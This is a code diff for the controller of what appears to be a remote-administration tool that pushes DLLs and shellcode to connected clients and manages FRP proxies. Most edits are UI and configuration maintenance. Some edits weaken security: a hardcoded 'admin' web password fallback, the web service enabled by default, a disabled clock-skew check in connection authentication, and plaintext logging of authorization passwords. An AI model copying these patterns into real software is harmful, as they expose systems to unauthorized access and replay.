if (webSvrPort > 0) {
|
if (webSvrPort > 0) {
|
||||||
WebService().SetParentDlg(this);
|
WebService().SetParentDlg(this);
|
||||||
// Pick web admin password: prefer the web-specific env var so the
|
// Pick web admin password: prefer the web-specific env var so the
|
||||||
@@ -1889,7 +1981,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
Mprintf("[WebService] Admin password configured from %s\n",
|
Mprintf("[WebService] Admin password configured from %s\n",
|
||||||
(webPassEnv && *webPassEnv) ? BRAND_WEB_ENV_VAR : BRAND_ENV_VAR);
|
(webPassEnv && *webPassEnv) ? BRAND_WEB_ENV_VAR : BRAND_ENV_VAR);
|
||||||
} else {
|
} else {
|
||||||
Mprintf("[WebService] Warning: neither %s nor %s set, web login disabled\n",
|
WebService().SetAdminPassword("admin");
|
||||||
|
Mprintf("[WebService] Warning: neither %s nor %s set! Use 'admin' as password\n",
|
||||||
BRAND_WEB_ENV_VAR, BRAND_ENV_VAR);
|
BRAND_WEB_ENV_VAR, BRAND_ENV_VAR);
|
||||||
}
|
}
|
||||||
// HideWebSessions: 1=hide (default), 0=show (for debugging)
|
// HideWebSessions: 1=hide (default), 0=show (for debugging)
|
||||||
@@ -1969,6 +2062,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
pSysMenu->AppendMenuL(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
|
pSysMenu->AppendMenuL(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// InitControl 必须在任何可能抽取消息队列的调用(如 MessageBoxL)之前完成,
|
||||||
|
// 否则队列中已有的 WM_SHOWMESSAGE 会在列表列尚未创建时被处理,导致
|
||||||
|
// SetItemText(0,1,...)/SetItemText(0,2,...) 静默失败,造成首条记录列1/2为空。
|
||||||
|
InitControl();
|
||||||
|
|
||||||
UPDATE_SPLASH(40, "正在加载授权模块...");
|
UPDATE_SPLASH(40, "正在加载授权模块...");
|
||||||
// 主控程序公网IP
|
// 主控程序公网IP
|
||||||
std::string ip = THIS_CFG.GetStr("settings", "master", "");
|
std::string ip = THIS_CFG.GetStr("settings", "master", "");
|
||||||
@@ -1980,7 +2078,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
THIS_APP->MessageBoxL("请通过菜单设置公网地址!", "提示", MB_ICONINFORMATION);
|
THIS_APP->MessageBoxL("请通过菜单设置公网地址!", "提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
||||||
int webSvrPortCheck = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
int webSvrPortCheck = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||||
if (webSvrPortCheck > 0 && webSvrPortCheck == port) {
|
if (webSvrPortCheck > 0 && webSvrPortCheck == port) {
|
||||||
THIS_APP->MessageBoxL("监听端口和Web服务端口冲突!", "提示", MB_ICONINFORMATION);
|
THIS_APP->MessageBoxL("监听端口和Web服务端口冲突!", "提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
@@ -2051,7 +2149,6 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
isClosed = FALSE;
|
isClosed = FALSE;
|
||||||
|
|
||||||
CreateToolBar();
|
CreateToolBar();
|
||||||
InitControl();
|
|
||||||
|
|
||||||
UPDATE_SPLASH(75, "正在创建界面组件...");
|
UPDATE_SPLASH(75, "正在创建界面组件...");
|
||||||
CreatStatusBar();
|
CreatStatusBar();
|
||||||
@@ -2145,6 +2242,12 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
SubMenu->EnableMenuItem(ID_TOOL_V2_PRIVATEKEY, GetMasterHash() == GetPwdHash() ? MF_ENABLED : MF_GRAYED);
|
SubMenu->EnableMenuItem(ID_TOOL_V2_PRIVATEKEY, GetMasterHash() == GetPwdHash() ? MF_ENABLED : MF_GRAYED);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
SubMenu = m_MainMenu.GetSubMenu(4); // 帮助菜单
|
||||||
|
if (SubMenu) {
|
||||||
|
BOOL hideLog = THIS_CFG.GetInt("settings", "HideMsg", 0) == 1;
|
||||||
|
SubMenu->CheckMenuItem(ID_VIEW_HIDE_LOG, hideLog ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
}
|
||||||
|
|
||||||
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, std::string(_TR("摄像头"))}, {SOFTWARE_TELEGRAM, std::string(_TR("电报")) }};
|
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, std::string(_TR("摄像头"))}, {SOFTWARE_TELEGRAM, std::string(_TR("电报")) }};
|
||||||
std::string str = myMap[n];
|
std::string str = myMap[n];
|
||||||
LVCOLUMN lvColumn;
|
LVCOLUMN lvColumn;
|
||||||
@@ -2185,6 +2288,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
#endif
|
#endif
|
||||||
InitFrpClients();
|
InitFrpClients();
|
||||||
InitFrpcAuto(); // FRP 自动代理(由上级提供配置)
|
InitFrpcAuto(); // FRP 自动代理(由上级提供配置)
|
||||||
|
// 记录启动时的 FRP 配置作为基线,由 TIMER_FRP_CONFIG_CHECK 周期性检测外部模块写入的变更
|
||||||
|
m_lastSeenFrpConfig = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||||||
|
SetTimer(TIMER_FRP_CONFIG_CHECK, 10 * 1000, NULL); // 10s 间隔,开销可忽略
|
||||||
|
|
||||||
UPDATE_SPLASH(90, "正在启动网络服务...");
|
UPDATE_SPLASH(90, "正在启动网络服务...");
|
||||||
// 最后启动SOCKET
|
// 最后启动SOCKET
|
||||||
@@ -2645,8 +2751,11 @@ bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPor
|
|||||||
return false; // 使用本地配置
|
return false; // 使用本地配置
|
||||||
}
|
}
|
||||||
|
|
||||||
// 日期字符串转 Unix 时间戳(当天 23:59:59)
|
// 日期字符串转 Unix 时间戳(当天 23:59:59 UTC)
|
||||||
// 输入: "20260323" -> 输出: 1774329599 (2026-03-23 23:59:59 UTC)
|
// 输入: "20260323" -> 输出: 1774310399 (2026-03-23 23:59:59 UTC)
|
||||||
|
// 必须使用 UTC(_mkgmtime)而非本地时间(mktime)—— 与上级 FrpDateToTimestamp
|
||||||
|
// 保持一致,否则跨时区的下级算出的 timestamp 与上级生成 privilegeKey 时所用的
|
||||||
|
// timestamp 不同,frps 校验失败(token mismatch)。
|
||||||
static time_t DateToTimestamp(const std::string& dateStr)
|
static time_t DateToTimestamp(const std::string& dateStr)
|
||||||
{
|
{
|
||||||
if (dateStr.length() != 8) return 0;
|
if (dateStr.length() != 8) return 0;
|
||||||
@@ -2656,7 +2765,7 @@ static time_t DateToTimestamp(const std::string& dateStr)
|
|||||||
t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
|
t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
|
||||||
t.tm_mday = std::stoi(dateStr.substr(6, 2));
|
t.tm_mday = std::stoi(dateStr.substr(6, 2));
|
||||||
t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
|
t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
|
||||||
return mktime(&t);
|
return _mkgmtime(&t);
|
||||||
} catch (...) {
|
} catch (...) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -2803,6 +2912,14 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
|
|||||||
THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
|
THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
|
||||||
THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);
|
THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);
|
||||||
|
|
||||||
|
// 防御性:若已有运行中的 FRPC 线程,先停掉以避免句柄泄露 + 双实例并存。
|
||||||
|
// 正常调用路径会先 StopFrpcAuto,但 InitFrpcAuto 经 [frp_auto] 旧字段启动 +
|
||||||
|
// 随后外部模块写入 [settings] FrpConfig 的场景可能跳过停步,这里兜底。
|
||||||
|
if (m_hFrpAutoThread != NULL) {
|
||||||
|
Mprintf("[FRP-Auto] StartFrpcAuto: 检测到已有运行中的线程,先停止旧实例\n");
|
||||||
|
StopFrpcAuto();
|
||||||
|
}
|
||||||
|
|
||||||
// 启动线程
|
// 启动线程
|
||||||
m_frpAutoStatus = STATUS_UNKNOWN;
|
m_frpAutoStatus = STATUS_UNKNOWN;
|
||||||
m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);
|
m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);
|
||||||
@@ -2884,6 +3001,72 @@ void CMy2015RemoteDlg::InitFrpcAuto()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 清空 [frp_auto] 节中所有用于自动恢复的字段。
|
||||||
|
// 必要性:InitFrpcAuto 在 [settings] FrpConfig 为空或解析失败时会回退读取 [frp_auto]
|
||||||
|
// 兼容旧配置,若此处不清理,上级撤销 FRP 后下级一旦重启就会用过期的 privilegeKey
|
||||||
|
// 重新拉起 FRPC,连不上同时还会让上级以为已释放的端口被悄悄占用。
|
||||||
|
static void ClearFrpAutoSection()
|
||||||
|
{
|
||||||
|
THIS_CFG.SetStr("frp_auto", "server", "");
|
||||||
|
THIS_CFG.SetInt("frp_auto", "serverPort", 0);
|
||||||
|
THIS_CFG.SetInt("frp_auto", "remotePort", 0);
|
||||||
|
THIS_CFG.SetStr("frp_auto", "privilegeKey", "");
|
||||||
|
THIS_CFG.SetStr("frp_auto", "expireDate", "");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 周期性检测 [settings] FrpConfig 是否被外部模块(如授权工具)写入变更。
|
||||||
|
// 检测到变更后:先停旧 FRPC(若有),再按新配置启动(若非空),并在主对话框信息列表中给出友好提示。
|
||||||
|
// 三种情况均无需重启主程序:
|
||||||
|
// - 首次(空 → 有):StartFrpcAuto
|
||||||
|
// - 撤销(有 → 空):StopFrpcAuto + ClearFrpAutoSection(防止重启复活)
|
||||||
|
// - 覆盖(有 → 有,值不同):StopFrpcAuto + StartFrpcAuto(StartFrpcAuto 会重写 [frp_auto])
|
||||||
|
void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
|
||||||
|
{
|
||||||
|
std::string cur = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||||||
|
if (cur == m_lastSeenFrpConfig) return;
|
||||||
|
|
||||||
|
// 解析(沿用现有 ParseFrpAutoConfig,可正确处理含 '-' 的域名)
|
||||||
|
FrpAutoConfig oldCfg = ParseFrpAutoConfig(m_lastSeenFrpConfig);
|
||||||
|
FrpAutoConfig newCfg = ParseFrpAutoConfig(cur);
|
||||||
|
int oldPort = oldCfg.remotePort;
|
||||||
|
int newPort = newCfg.remotePort;
|
||||||
|
|
||||||
|
CString tip;
|
||||||
|
if (m_lastSeenFrpConfig.empty() && !cur.empty()) {
|
||||||
|
// 首次:从无到有 → 启动
|
||||||
|
if (newCfg.enabled) {
|
||||||
|
StartFrpcAuto(newCfg);
|
||||||
|
tip.FormatL("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效", newPort);
|
||||||
|
} else {
|
||||||
|
// 新配置无效,但 cur 非空 —— 提示但不启动;同时确保 [frp_auto] 不残留旧值
|
||||||
|
ClearFrpAutoSection();
|
||||||
|
tip.FormatL("[FRP] 收到无效的 FRP 配置: %s", cur.c_str());
|
||||||
|
}
|
||||||
|
} else if (!m_lastSeenFrpConfig.empty() && cur.empty()) {
|
||||||
|
// 撤销:从有到无 → 停止并清空 [frp_auto](否则下次启动会从 [frp_auto] 复活 FRPC)
|
||||||
|
StopFrpcAuto();
|
||||||
|
ClearFrpAutoSection();
|
||||||
|
tip = _TR("[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC");
|
||||||
|
} else {
|
||||||
|
// 覆盖:值变更 → 先停后起
|
||||||
|
StopFrpcAuto();
|
||||||
|
if (newCfg.enabled) {
|
||||||
|
StartFrpcAuto(newCfg); // 内部会用新值覆盖 [frp_auto]
|
||||||
|
tip.FormatL("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效",
|
||||||
|
oldPort, newPort);
|
||||||
|
} else {
|
||||||
|
// 新配置无效(解析失败等),旧的 FRPC 已停,[frp_auto] 必须一并清空
|
||||||
|
ClearFrpAutoSection();
|
||||||
|
tip.FormatL("[FRP] 收到无效的新 FRP 配置: %s,已停止旧 FRPC", cur.c_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[FRP-Auto] %s\n", (LPCSTR)tip);
|
||||||
|
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg((LPCSTR)tip), NULL);
|
||||||
|
|
||||||
|
m_lastSeenFrpConfig = cur;
|
||||||
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
void CMy2015RemoteDlg::ApplyFrpSettings()
|
void CMy2015RemoteDlg::ApplyFrpSettings()
|
||||||
@@ -2915,7 +3098,7 @@ void CMy2015RemoteDlg::ApplyFrpSettings()
|
|||||||
std::string token = THIS_CFG.GetStr("frp", "token");
|
std::string token = THIS_CFG.GetStr("frp", "token");
|
||||||
auto ports = THIS_CFG.GetStr("settings", "ghost", "6543");
|
auto ports = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||||
auto arr = StringToVector(ports, ';');
|
auto arr = StringToVector(ports, ';');
|
||||||
int fileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
int fileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||||
|
|
||||||
// 为每个服务端生成独立配置文件 (index=0 用 frpc.ini 保持兼容)
|
// 为每个服务端生成独立配置文件 (index=0 用 frpc.ini 保持兼容)
|
||||||
for (size_t idx = 0; idx < servers.size(); ++idx) {
|
for (size_t idx = 0; idx < servers.size(); ++idx) {
|
||||||
@@ -3005,13 +3188,18 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
bool needRefresh = (lastType != nType);
|
bool needRefresh = (lastType != nType);
|
||||||
lastType = nType;
|
lastType = nType;
|
||||||
|
|
||||||
|
BOOL hideLog = THIS_CFG.GetInt("settings", "HideMsg", 0) == 1;
|
||||||
|
const int SPLITTER_H = 6;
|
||||||
|
// 日志区有效高度 = m_nSplitPos(不含分割条),分割条紧贴日志区上方
|
||||||
|
int splitPos = hideLog ? 0 : m_nSplitPos;
|
||||||
|
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
if (m_CList_Online.m_hWnd!=NULL) { //(控件也是窗口因此也有句柄)
|
if (m_CList_Online.m_hWnd!=NULL) { //(控件也是窗口因此也有句柄)
|
||||||
CRect rc;
|
CRect rc;
|
||||||
rc.left = 1; //列表的左坐标
|
rc.left = 1; //列表的左坐标
|
||||||
rc.top = m_ToolBar.IsVisible() ? 80:1; //列表的上坐标
|
rc.top = m_ToolBar.IsVisible() ? 80:1; //列表的上坐标
|
||||||
rc.right = cx-1; //列表的右坐标
|
rc.right = cx-1; //列表的右坐标
|
||||||
rc.bottom = cy-160; //列表的下坐标
|
rc.bottom = hideLog ? cy-20 : cy-20-splitPos-SPLITTER_H;
|
||||||
m_GroupTab.MoveWindow(rc);
|
m_GroupTab.MoveWindow(rc);
|
||||||
|
|
||||||
CRect rcInside;
|
CRect rcInside;
|
||||||
@@ -3028,23 +3216,37 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
if (m_CList_Message.m_hWnd!=NULL) {
|
if (m_SplitterBar.m_hWnd != NULL) {
|
||||||
CRect rc;
|
if (hideLog) {
|
||||||
rc.left = 1; //列表的左坐标
|
m_SplitterBar.ShowWindow(SW_HIDE);
|
||||||
rc.top = cy-160; //列表的上坐标
|
} else {
|
||||||
rc.right = cx-1; //列表的右坐标
|
m_SplitterBar.ShowWindow(SW_SHOW);
|
||||||
rc.bottom = cy-20; //列表的下坐标
|
m_SplitterBar.MoveWindow(1, cy-20-splitPos-SPLITTER_H, cx-2, SPLITTER_H);
|
||||||
m_CList_Message.MoveWindow(rc);
|
|
||||||
if (needRefresh) {
|
|
||||||
m_CList_Message.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
|
||||||
}
|
}
|
||||||
auto total = cx - 24;
|
}
|
||||||
for(int i=0; i<g_Column_Count_Message; ++i) { //遍历每一个列
|
|
||||||
double Temp=g_Column_Data_Message[i].nWidth; //得到当前列的宽度
|
if (m_CList_Message.m_hWnd!=NULL) {
|
||||||
Temp/=g_Column_Message_Width; //看一看当前宽度占总长度的几分之几
|
if (hideLog) {
|
||||||
Temp*=total; //用原来的长度乘以所占的几分之几得到当前的宽度
|
m_CList_Message.ShowWindow(SW_HIDE);
|
||||||
int lenth=Temp; //转换为int 类型
|
} else {
|
||||||
m_CList_Message.SetColumnWidth(i,(lenth)); //设置当前的宽度
|
m_CList_Message.ShowWindow(SW_SHOW);
|
||||||
|
CRect rc;
|
||||||
|
rc.left = 1;
|
||||||
|
rc.top = cy-20-splitPos;
|
||||||
|
rc.right = cx-1;
|
||||||
|
rc.bottom = cy-20;
|
||||||
|
m_CList_Message.MoveWindow(rc);
|
||||||
|
if (needRefresh) {
|
||||||
|
m_CList_Message.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
||||||
|
}
|
||||||
|
auto total = cx - 24;
|
||||||
|
for(int i=0; i<g_Column_Count_Message; ++i) { //遍历每一个列
|
||||||
|
double Temp=g_Column_Data_Message[i].nWidth; //得到当前列的宽度
|
||||||
|
Temp/=g_Column_Message_Width; //看一看当前宽度占总长度的几分之几
|
||||||
|
Temp*=total; //用原来的长度乘以所占的几分之几得到当前的宽度
|
||||||
|
int lenth=Temp; //转换为int 类型
|
||||||
|
m_CList_Message.SetColumnWidth(i,(lenth)); //设置当前的宽度
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -3249,6 +3451,9 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
|||||||
if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
|
if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
|
||||||
UpdateStatusBarStats();
|
UpdateStatusBarStats();
|
||||||
}
|
}
|
||||||
|
if (nIDEvent == TIMER_FRP_CONFIG_CHECK) {
|
||||||
|
CheckUpperFrpConfigChange();
|
||||||
|
}
|
||||||
if (nIDEvent == TIMER_STATUSBAR_INIT) {
|
if (nIDEvent == TIMER_STATUSBAR_INIT) {
|
||||||
KillTimer(TIMER_STATUSBAR_INIT); // 只执行一次
|
KillTimer(TIMER_STATUSBAR_INIT); // 只执行一次
|
||||||
// 强制重新计算状态栏分区宽度
|
// 强制重新计算状态栏分区宽度
|
||||||
@@ -3543,6 +3748,7 @@ void CMy2015RemoteDlg::Release()
|
|||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
StopLocalFrpsServer(); // 停止本地 FRPS 服务器
|
StopLocalFrpsServer(); // 停止本地 FRPS 服务器
|
||||||
#endif
|
#endif
|
||||||
|
KillTimer(TIMER_FRP_CONFIG_CHECK); // 必须先于 StopFrpcAuto,避免末班定时器再次起飞 FRPC
|
||||||
StopFrpcAuto(); // 停止 FRP 自动代理
|
StopFrpcAuto(); // 停止 FRP 自动代理
|
||||||
|
|
||||||
THIS_APP->Destroy();
|
THIS_APP->Destroy();
|
||||||
@@ -5507,6 +5713,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
std::string("-") + getFixedLengthID(finalKey);
|
std::string("-") + getFixedLengthID(finalKey);
|
||||||
memcpy(devId, fixedKey.c_str(), fixedKey.length());
|
memcpy(devId, fixedKey.c_str(), fixedKey.length());
|
||||||
devId[fixedKey.length()] = 0;
|
devId[fixedKey.length()] = 0;
|
||||||
|
Mprintf("Request AUTH: SN= %s, Password= %s\n", deviceID.c_str(), fixedKey.c_str());
|
||||||
|
if (*days && deviceID == "12ca-17b4-9af2-2894") {
|
||||||
|
Mprintf("Unable to authorize trail SN: %s, days: %d\n", ContextObject->GetPeerName().c_str(), int(*days));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
// 检查该设备原授权是 V1 还是 V2
|
// 检查该设备原授权是 V1 还是 V2
|
||||||
std::string origPasscode, origHmac, origRemark;
|
std::string origPasscode, origHmac, origRemark;
|
||||||
@@ -5541,6 +5752,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
|
|
||||||
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
||||||
resp[64+hmac.length()] = 0;
|
resp[64+hmac.length()] = 0;
|
||||||
|
resp[64 + hmac.length() + 1] = 0;
|
||||||
|
|
||||||
// 构建 Authorization(多层授权)- 让下级主控知道向谁进行授权校验
|
// 构建 Authorization(多层授权)- 让下级主控知道向谁进行授权校验
|
||||||
// 注意:isV2Auth 判断的是当前服务端是否是授权服务器(有 V2 私钥),而非被授权设备的原授权类型
|
// 注意:isV2Auth 判断的是当前服务端是否是授权服务器(有 V2 私钥),而非被授权设备的原授权类型
|
||||||
@@ -5614,6 +5826,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
case TOKEN_HEARTBEAT:
|
case TOKEN_HEARTBEAT:
|
||||||
case 137: // 心跳【L】
|
case 137: // 心跳【L】
|
||||||
|
ContextObject->HeartbeatRecvMs.store(GetUnixMs(), std::memory_order_relaxed);
|
||||||
g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
case TOKEN_SCREEN_PREVIEW_RSP: {
|
case TOKEN_SCREEN_PREVIEW_RSP: {
|
||||||
@@ -5642,14 +5855,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
// 检查是否被限流(只限制真实发送 DLL 的请求)
|
// 检查是否被限流(只限制真实发送 DLL 的请求)
|
||||||
if (IsDllRequestLimited(clientIP)) {
|
if (IsDllRequestLimited(clientIP)) {
|
||||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
|
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
|
||||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease);
|
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease);
|
||||||
} else {
|
} else {
|
||||||
send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
send = SendServerDll(ContextObject, typ, is64Bit);
|
||||||
if (send) {
|
if (send) {
|
||||||
RecordDllRequest(clientIP); // 只有真正发送了才记录
|
RecordDllRequest(clientIP); // 只有真正发送了才记录
|
||||||
}
|
}
|
||||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
|
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
|
||||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -5714,10 +5927,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer;
|
const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer;
|
||||||
int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp);
|
int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp);
|
||||||
if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) {
|
if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) {
|
||||||
ack.status = CONN_AUTH_CLOCK_SKEW;
|
// ack.status = CONN_AUTH_CLOCK_SKEW;
|
||||||
Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n",
|
Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n", ContextObject->GetPeerName().c_str(), skew);
|
||||||
ContextObject->GetPeerName().c_str(), skew);
|
auto tip = "[" + ContextObject->GetPeerName() + "]" + "Please check the client's time";
|
||||||
} else {
|
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||||
|
} /*else*/ {
|
||||||
BYTE sigInput[8 + 8 + 16];
|
BYTE sigInput[8 + 8 + 16];
|
||||||
memcpy(sigInput, &pkt->clientID, 8);
|
memcpy(sigInput, &pkt->clientID, 8);
|
||||||
memcpy(sigInput + 8, &pkt->timestamp, 8);
|
memcpy(sigInput + 8, &pkt->timestamp, 8);
|
||||||
@@ -5729,12 +5943,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
ContextObject->SetID(pkt->clientID);
|
ContextObject->SetID(pkt->clientID);
|
||||||
ContextObject->SetAuthenticated(true);
|
ContextObject->SetAuthenticated(true);
|
||||||
ack.status = CONN_AUTH_OK;
|
ack.status = CONN_AUTH_OK;
|
||||||
Mprintf("[ConnAuth] %s: clientID=%llu 通过\n",
|
Mprintf("[ConnAuth] %s: clientID=%llu 通过\n", ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||||
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
|
||||||
} else {
|
} else {
|
||||||
ack.status = CONN_AUTH_BAD_SIGNATURE;
|
ack.status = CONN_AUTH_BAD_SIGNATURE;
|
||||||
Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n",
|
Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n", ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||||
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -6051,11 +6263,24 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
// 关闭对应客户端的循环快照浮窗(如有)。CloseLoopTip 内部 find 找不到会静默返回。
|
// 关闭对应客户端的循环快照浮窗(如有)。CloseLoopTip 内部 find 找不到会静默返回。
|
||||||
if (info->clientId != 0) {
|
if (info->clientId != 0) {
|
||||||
CloseLoopTip(info->clientId);
|
// 判断主连接是否仍在线:OfflineProc 已在 IO 线程持锁内完成 RemoveFromHostList,
|
||||||
// 清理缩略图相关状态(缓存 + 调度 + 在飞标记)。主机已不在列表,重绘不必要。
|
// 若 m_ClientIndex 里仍有该 clientId,说明还有另一条连接在列表中(即本次断开的
|
||||||
ClearThumbnailCacheEntry(info->clientId);
|
// 是子连接),不应清理主连接的 UI 状态;反之说明主机真正下线。
|
||||||
m_ThumbNextDueTick.erase(info->clientId);
|
// 直接查 m_ClientIndex 比依赖 hasLogin 更稳健:不受未来子连接 auth 改造影响。
|
||||||
m_ThumbnailPending.erase(info->clientId);
|
bool stillOnline;
|
||||||
|
{
|
||||||
|
CLock L(m_cs);
|
||||||
|
stillOnline = (m_ClientIndex.find(info->clientId) != m_ClientIndex.end());
|
||||||
|
}
|
||||||
|
if (!stillOnline) {
|
||||||
|
// 主连接真正下线:关循环窗、释放缩略图 HBITMAP、清调度状态。
|
||||||
|
CloseLoopTip(info->clientId);
|
||||||
|
ClearThumbnailCacheEntry(info->clientId);
|
||||||
|
m_ThumbNextDueTick.erase(info->clientId);
|
||||||
|
m_ThumbnailPending.erase(info->clientId);
|
||||||
|
}
|
||||||
|
// 子连接(RDP / 文件传输等)断开:主连接仍在线,不清缩略图也不关循环窗,
|
||||||
|
// 避免 RDP 断开导致预览图变"…"或循环预览窗被误关。
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close child dialog window
|
// Close child dialog window
|
||||||
@@ -6373,10 +6598,9 @@ void CMy2015RemoteDlg::SendPendingRenewal(CONTEXT_OBJECT* ctx, const std::string
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||||
{
|
{
|
||||||
// 记录本心跳的服务端处理开始时间,用于在 ACK 里回报 ProcessingMs。
|
// 用 IOCP 线程记录的收包时刻作为起点,排除 UI 消息队列等待时间,
|
||||||
// 客户端会用 (now - hb.Time) - ProcessingMs 算近似纯网络 RTT,喂给反代理检测,
|
// 使 ProcessingMs 仅反映真实服务端处理耗时。
|
||||||
